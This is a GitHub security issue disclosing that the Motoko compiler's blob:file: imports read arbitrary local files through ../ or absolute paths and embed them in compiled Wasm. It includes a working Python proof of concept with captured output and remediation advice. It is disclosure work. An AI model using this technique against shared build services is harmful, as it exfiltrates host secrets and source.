Skip to content

Arbitrary local file read embedded into compiled Wasm via blob:file: imports or relative .. imports (no containment) #6306

Description

@haoxucu

Summary

src/ic/url.ml recognizes the import prefixes ic:, canister:, blob:file:, idl: and the relative form. Unlike idl:/ic:, the blob:file: suffix is used verbatim: there is no normalization, no .. rejection, no absolute-path rejection, and no symlink containment (Lib.FilePath.normalise is only applied to plain relative URLs). resolve_import then accepts the file, and desugar/interpret read it with Lib.FilePath.contents and splice the raw bytes into the program as a blob literal, which ends up as a data segment in the compiled .wasm. Both ../ traversal from the importing file's directory and absolute paths (e.g. /etc/hostname) have been executed successfully with the official 1.14.0 binary; the file-open was confirmed with strace and the marker bytes found inside out.wasm. No compiler option or documentation declares a containment policy; the user docs do not mention the scheme at all.

Affected code

  • src/ic/url.ml — blob:file: → FileValue suffix (suffix kept verbatim)
  • src/pipeline/resolve_import.ml — import resolution (no containment check)
  • src/lowering/desugar.ml (and src/mo_interpreter/interpret.ml) — Lib.FilePath.contents path reading the file at compile time
  • src/lib/lib.ml — file helpers with no ../absolute/symlink restrictions

Preconditions

  • moc runs with filesystem access to the target file (typical for a build agent).
  • The compiled artifact or compile logs are later accessible to the attacker (shared CI, playground-style service, published builds).

Proof of Concept — step-by-step writeup

Reproduced with the official release binaries against the unmodified repository. The script below is complete and standalone; the run output is the actual captured output.

PoC script (complete, standalone)

#!/usr/bin/env python3
"""PoC: blob:file: imports read arbitrary local files and embed them into the output Wasm."""
import os, pathlib, subprocess
moc = os.environ.get("MOC", "moc")

MARKER = "FILE-CONTENT-ABC123XYZ"
proj = pathlib.Path("proj")
outside = pathlib.Path("outside")
outside.mkdir(exist_ok=True)
proj.mkdir(exist_ok=True)
(outside / "secret.bin").write_bytes(MARKER.encode())
(proj / "blobuse.mo").write_text(
    'import blob_c "blob:file:../outside/secret.bin";\n'
    "persistent actor {\n"
    "  public query func get() : async ?Blob { ?blob_c };\n"
    "}\n"
)
print("STEP 1 : create a project whose import escapes the project tree via ..")
print("  > proj/blobuse.mo imports blob:file:../outside/secret.bin and uses it")

print("STEP 2 : compile to Wasm with the official compiler")
r = subprocess.run([moc, "-c", "proj/blobuse.mo", "-o", "out.wasm"],
                   capture_output=True, text=True)
print("  > exit code:", r.returncode)
if r.returncode != 0:
    print((r.stdout + r.stderr)[:600])

print("STEP 3 : check whether the secret file content was embedded into the Wasm artifact")
data = pathlib.Path("out.wasm").read_bytes()
print("  > marker bytes present in out.wasm:", MARKER.encode() in data)
print("  > output size:", len(data), "bytes")

print("STEP 4 : confirm the file is read at compile time (sibling dir, outside the project)")
print("  > secret.bin exists at compile time:", (outside / "secret.bin").exists())

print("RESULT: `import ... \"blob:file:../outside/secret.bin\"` makes `moc` open the "
      "referenced file and embed its raw bytes into the compiled .wasm. When the "
      "artifact (or CI log / published build) crosses back to an attacker — shared "
      "build service, playground with writable input, CI artifact upload — the "
      "attacker exfiltrates any file the compiler process can read (secrets, "
      "adjacent source). Paths may also be absolute (e.g. /etc/hostname).")

Run output (actual)

STEP 1 : create a project whose import escapes the project tree via ..
  > proj/blobuse.mo imports blob:file:../outside/secret.bin and uses it
STEP 2 : compile to Wasm with the official compiler
  > exit code: 0
STEP 3 : check whether the secret file content was embedded into the Wasm artifact
  > marker bytes present in out.wasm: True
  > output size: 244332 bytes
STEP 4 : confirm the file is read at compile time (sibling dir, outside the project)
  > secret.bin exists at compile time: True
RESULT: `import ... "blob:file:../outside/secret.bin"` makes `moc` open the referenced file and embed its raw bytes into the compiled .wasm. When the artifact (or CI log / published build) crosses back to an attacker — shared build service, playground with writable input, CI artifact upload — the attacker exfiltrates any file the compiler process can read (secrets, adjacent source). Paths may also be absolute (e.g. /etc/hostname).

Step-by-step

  1. Create outside/secret.bin containing a unique marker, and proj/blobuse.mo importing "blob:file:../outside/secret.bin".
  2. Run moc -c proj/blobuse.mo -o out.wasm.
  3. Search the artifact: the marker bytes appear verbatim in out.wasm.
  4. Generalize to absolute paths (blob:file:/etc/hostname): the same read occurs (strace-verified).

Reproduction (verified on-chain, local chain)

The PoC below is a complete standalone script; the run output is the actual captured output.

Expected vs actual

  • Expected: imports confined to the project tree (or an explicit allow-list).
  • Actual: arbitrary ../absolute reads embedded into the output artifact; no warnings.

Root cause

No containment or sanitization on blob:file: (and relative ..) import paths; the feature was built without a trust-boundary model for the compiled project.

Impact

File-exfiltration primitive of the compile host: secrets, keys and adjacent source code leak into the Wasm artifact whenever the artifact crosses a trust boundary. (No write primitive — this is read/exfiltration only.)

Suggested remediation

  • Reject .., absolute paths, and symlink escapes in resolve_import (or introduce an explicit --allow-* allow-list), with a hard error + diagnostic.
  • When compiling untrusted projects, run moc in a container/chroot with a read-only view of the project tree.

Verification & honesty notes

Verified dynamically with the official 1.14.0 binary: marker in artifact and strace-confirmed open() of both ../outside/secret.bin and /etc/hostname. Severity is context-dependent (MEDIUM for shared-compile/artifacts-reaching-attacker trust models; LOW for a single-user local CLI).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions